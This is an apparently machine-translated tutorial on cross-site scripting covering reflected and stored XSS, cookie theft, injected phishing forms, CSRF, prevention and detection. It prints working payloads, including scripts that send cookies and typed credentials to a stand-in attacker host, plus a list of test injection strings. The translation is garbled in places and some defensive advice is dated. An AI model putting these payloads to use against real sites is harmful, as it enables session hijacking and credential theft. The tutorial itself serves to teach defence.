Network security-cross-site scripting attacks XSS (Cross-site Scripting)

I. Introduction to XSS attacks

As an HTML injection attack, the core idea of an XSS attack is to inject malicious code into an HTML page, and the injection method used by XSS is very ingenious.

In an XSS attack, there are typically three roles involved: The attacker, the target server, and the victim's browser.

Since some servers do not validate the user's input securely, attackers can easily smuggle in malicious HTML script code through normal input methods. When the victim's browser accesses a page that is injected into a malicious script on the target server, the execution of this malicious script is not hindered by its trust in the target server. At this point, the attacker's purpose has been reached.

Let's take a simple JavaScript script as an example to describe the entire XSS attack process:

< Script > alert (document.cookie); </ Script >

The execution of the above script is to pop up a dialog box to display the user's cookie information. In the process of data input to a page of the target server, an attacker would pass in the script in a normal input manner. If everything is normal, the generated page code is as follows:

As you can see, this script has been successfully embedded in the page. When the victim browser accesses this page, the script is also considered part of the page, which is executed by a popup dialog showing the cookie information of the victim browser.

Of course, the above script is just a simple example, and if you want to, you can inject arbitrary script code, and these script code will be able to be executed on the victim's browser. The rest of the key is how to get more victims to browse the page that has been injected into the script, which is a social engineering category, as a hacker, swindling's skills are still to be.

Ii. Classification of XSS attacks

Depending on how the XSS script is injected, we can classify XSS attacks in a simple way. Among them, the most common is the number of reflective XSS and storage-type XSS.

1. Reflection Type XSS

Reflective XSS, also known as non-persistent XSS. This is referred to as reflective XSS because the injected code for this attack is "reflected" from the target server by means of error messages, search results, and so on. and is called non-persistent XSS, because this attack mode has one-time. The attacker sent a malicious link containing the injected script to the victim via e-mail, and when the victim clicked on the link, the injection script was transferred to the target server, and the server then "reflected" the injected script to the victim's browser to execute the script on the browser.

For example, the attacker sends the following link to the victim:

Http://www.targetserver.com/search.asp?input=<script>alert ( Document.cookie); </ Script >

When the victim clicks on the link, the injected script is sent to the target server's Search.asp page as the search keyword, and the script is embedded in the search result's return page as the keyword of the search. That way, the script is executed when the user gets the search results page. This is the principle of the Reflex XSS attack, and it can be seen that the attacker cleverly exploits the reflex XSS to execute the script on the victim's browser. Because the code injects a dynamically generated page rather than a permanent page, this attack only works when the link is clicked, which is why it is called non-persistent XSS.

2. Storage-Type XSS

Storage-type XSS, also known as persistent XSS, the biggest difference between him and reflective XSS is that the attack script will be permanently stored in the database and files of the target server. This attack is seen in forums where attackers inject malicious script with normal information into the content of a post as they post. As posts are stored by the forum server, malicious scripts are permanently stored in the backend memory of the forum server. When other users browse the post that was injected with a malicious script, the malicious script will be executed in their browser and thus be attacked.

As you can see, the attack mode of storage-type XSS can permanently embed malicious code in a page, and all users who visit this page will be victims. If we are able to treat unknown links with caution, then the reflexive XSS attack will not be as much, and the storage type XSS is different, because it is often injected with some of the pages we trust, so no matter how careful we are, we will inevitably be attacked. It can be said that storage-type XSS is more covert, the harm is also greater, unless the server can completely block the injection, otherwise anyone is likely to be attacked.

Third, the means of XSS attack and its harm

Because of the invisibility of XSS and the wide range of attack surface, the various attacking ways of exploiting XSS vulnerability are endless, which bring great harm to our ordinary Internet users. Depending on the injection script code, XSS can lead to a variety of attacks. The following is a detailed description of some of the current Internet on the common XSS attacks and the harm caused.

1. Stealing cookies

With XSS attacks, because the injected code is executed on the victim's browser, it is easy to steal the cookie information from the victim. For example, we just inject code similar to the following:

< Script > location.replace ("http://www.attackpage.com/record.asp?secret=" +document.cookie) </ Script>

When the victim's browser executes the script, it automatically accesses the attacker's website www.attackpage.com, opens the recourd.asp, and records the cookie information from the victim's browser. In this way, the attacker gets the user's cookie information.

Once the victim's cookie information is obtained, the attacker can easily impersonate the victim and thus have all the permissions on the target server, which is tantamount to stealing the identity of the victim. This allows an attacker to arbitrarily exploit the victim's identity to access resources and services on the server, and even destroy the data on the victim and server. If the victim has administrator privileges, the attacker can also use it to elevate their account privileges for further attacks.

Note: Cookies, and sometimes their plural forms of cookies, refer to the data (usually encrypted) stored on the user's local terminal by certain websites in order to identify the user and track the session.

2. Guided Fishing

The so-called phishing attack is to build a phishing page that lures the victim into entering some sensitive information and sending it to the attacker. With the injection script of XSS, we can also easily inject the code of the Phishing page to guide the phishing attack. For example, the following piece of code:

<Script>functionhack () {location.replace ("http://www.attackpage.com/record.asp?username= "+document.forms[0].user.value+"Password="+document.forms[0].pass.value);}</Script><form><BR><BR><HR><H3>This feature requires login:</H3><BR><BR>Please enter user name:<BR><inputtype= "text"ID= "User" name= "user"><BR>Please enter your password:<BR><inputtype= "Password"name= "Pass"><BR><inputtype= "Submit" name= "Login"value= "Login" onclick= "hack ()"></form><BR><BR><HR>

After injecting the above code, it will insert a form on the original page, require the user to enter their user name and password, and when the user clicks the "Login" button, the hack () function will be executed to send the user's input to the attacker's designated website. This allows the attacker to successfully steal the user's account information. It can be seen that, unlike the usual phishing attacks, the XSS-guided phishing attack is highly concealed because it is modified by the user's trusted website page, and the user's account theft often leads to significant losses, so it is also a huge hazard.

3. Cross-site request forgery

Cross-site Request forgery (Cross-siterequest forgery,csrf), as the owasp organization of the 2007 proposed ten security breaches of the five, it is also a derivative of XSS attacks. The so-called cross-site request forgery is the way an attacker injects a script using XSS injection attacks, and when the victim's browser runs the script, the script forgery victim sends a legitimate request. For example, we inject the following HTML code:

<= "http://www.bank.com/transfer.do?toAct=123456&money=10000>

If the above code accesses a transfer service from a bank's website, the victim's browser runs the script and transfers the funds to the attacker-specified account (example 123456). Since this transfer request is run in the victim's browser, the browser will also automatically send the victim's cookie information. In this way, the request is sent as if the victim had sent it himself, and the bank website would also acknowledge the legality of the request, and the attacker would have achieved the purpose of the forgery request.

4. Injecting malicious software

In addition to injecting malicious scripts directly, attackers can easily introduce malicious software such as viruses, Trojans, worms, and so on, in scripts, through XSS attacks. For example, an attacker could place some malicious software on a page of his own creation and then insert a script that refers to the page in an XSS-injected manner. This way, when the victim's browser executes the script, it automatically accesses the page where the malware is placed and is infected by the malware.

Using XSS to inject malware, attackers can easily spread viruses, trojans, and worms over the Internet, where attackers can further attack the victim's host through these viruses, trojans, and worms. At present, the Internet "horse-hanging" phenomenon is very common, and the emergence of XSS injection will undoubtedly give the "horse-hanging" of the attackers pointed out another new direction. By spreading these Trojans, stealing sensitive information from legitimate users, many illegal attackers are also gradually industrializing this process, and often can see the phenomenon of bulk peddling of account passwords in envelopes. This has also caused a lot of normal network users a lot of irreparable loss, the damage is also very large.

Iv. Prevention of XSS

In the previous article, we introduced the principles and methods of various XSS attacks. As can be seen, XSS is a broad coverage, high concealment, the harm is also very large network application security loopholes. Unless there is no XSS vulnerability at all on the Web server, the attackers will be left with a loophole. Therefore, how to prevent XSS vulnerabilities during the development of Web applications is a priority that all Web developers must pay attention to. Below we introduce several common XSS precautions.

1. Input detection

Detect all of the user's input data, such as filtering "<", ">", "/" and other special characters that may cause script injection, or filtering script keywords such as "script", "JavaScript", or restricting the length of input data, etc. At the same time, we also consider that the user may bypass ASCII code, using 16 for encoding such as "<</span>" ("<"), ">" (">") and so on to enter the script. Therefore, the hexadecimal encoding of the user input, we also have to filter the corresponding. As long as developers are able to rigorously detect every interaction point, ensuring that all user-possible input is detected and XSS filtering, can effectively prevent XSS attacks.

2. Output encoding

By analyzing the XSS attack before, we can see that an XSS attack occurs because the Web application embeds the user's input directly into a page as part of the HTML code for that page. As a result, when the Web application outputs the user's input data to the target page, the data is encoded first using tools such as Htmlencoder and then exported to the target page. This way, if the user enters some HTML script, it will also be treated as plain text, and will not be executed as part of the target page HTML code.

3. Cookie Theft

With XSS attacks, attackers can easily steal cookie information from legitimate users. Therefore, it is not possible for a website to store too much sensitive information in cookie information, or to use cookies as a unique identifier for identity authentication, etc. Therefore, for cookies, we can take the following measures. First of all, we want to avoid the disclosure of privacy in the cookie, such as user name, password, etc., secondly, we can use the cookie information with MD5 and other hash algorithm to store after multiple hashes, again, in order to prevent replay attacks, we can also bind the cookie and IP, This can also prevent an attacker from impersonating a normal user.

4. Strictly Restrict URL access

An attacker who uses XSS attacks usually relies on a website page of his own, such as using it to record sensitive information, "hanging horses" on the page, and so on. Therefore, in the execution of the script code of the page, as long as we strictly restrict its access to the URL, such as only allow script code access to the URL of the site, and so on, you can avoid the execution of the script link to other may be the attacker specified page.

5. User Precautions

As an ordinary network user, the prevention of XSS attacks is generally in a passive position. But we can also take some steps to avoid being attacked by XSS as much as possible. First of all, we should not easily believe in e-mail or web pages of unknown links, these links are likely to lead reflective XSS attacks or access to some unsafe web pages. Second, we can disable scripting when unnecessary, so that the scripts that are injected by XSS cannot be run. Again, we can use some secure browser to surf the Internet, some browsers provide XSS filtering function, will prompt the page of possible XSS injection and block it.

V. XSS vulnerability Detection 1. Black box test

The so-called black box test is to test the system without knowing the system's code and operating condition. In the detection of XSS vulnerability, we can simulate the hacker's attack means, at all possible data input interface, try to do some XSS injection. By observing the injected page that references the data to see if it is injected, there is a real XSS vulnerability. For example, we can try XSS injection with some of the scripts listed below:

><Script>alert (document.cookie)</Script>= ' ><Script>alert (document.cookie)</Script>         <Script>alert (document.cookie)</Script>        <Script>alert (Vulnerable)</Script>                <Script>alert (' XSS ')</Script>        <imgsrc= "Javascript:alert (' XSS ')">        <imgsrc= "Http://xxx.com/yyy.png"onerror= "alert (' XSS ')">         <Divstyle= "Height:expression_r (Alert (' XSS '), 1)"/>(This only works with IE)

If the pop-up dialog displays information when you open a page that references that input data, you can determine the location of the XSS vulnerability by determining that the data entry may lead to XSS injection.

2. Static Analysis

The method of static analysis of XSS vulnerability is a kind of white box test method, which is used to analyze the code of Web application to discover the possible problems. In general, static analysis techniques simply scan the code to find where it might lead to XSS injections and report it to us.

For example, in the code of the Web application there may be some API to read data, such as Request.QueryString (), $_get, etc., if there are these APIs, it is possible to introduce an injection of XSS. With the static analysis tool, we can easily discover all the APIs that read the data, thus examining in detail whether each data entry point has been filtered for XSS injection. As you can see, the static analysis method only helps us to locate the possible location of the XSS vulnerability, because the static analysis tool is difficult to determine whether the input data is XSS filtered, so we still need to manually check to ensure that there is no XSS vulnerability.

3. Data Flow Analysis

The root cause of the XSS vulnerability is the insecure flow of data that allows the user's input data to be embedded directly into certain pages. such as the Echo statement in PHP, you can add some data directly as part of the HTML page, if the data is injected into the user's XSS script data, it will lead to an XSS attack. Therefore, the main idea of data flow analysis is to use some models or tools to analyze the data transmission in the code of the Web application, so as to discover the problems. For example, we can mark the variables stored in the user's input data, pass the analysis of the data stream and the variable type, gradually mark all the intermediate variables that refer to the spot variable, and then determine whether an XSS vulnerability can be generated by observing whether the data in the output to the page has a stain on the variable.

Network security-cross-site scripting attacks XSS (Cross-site Scripting)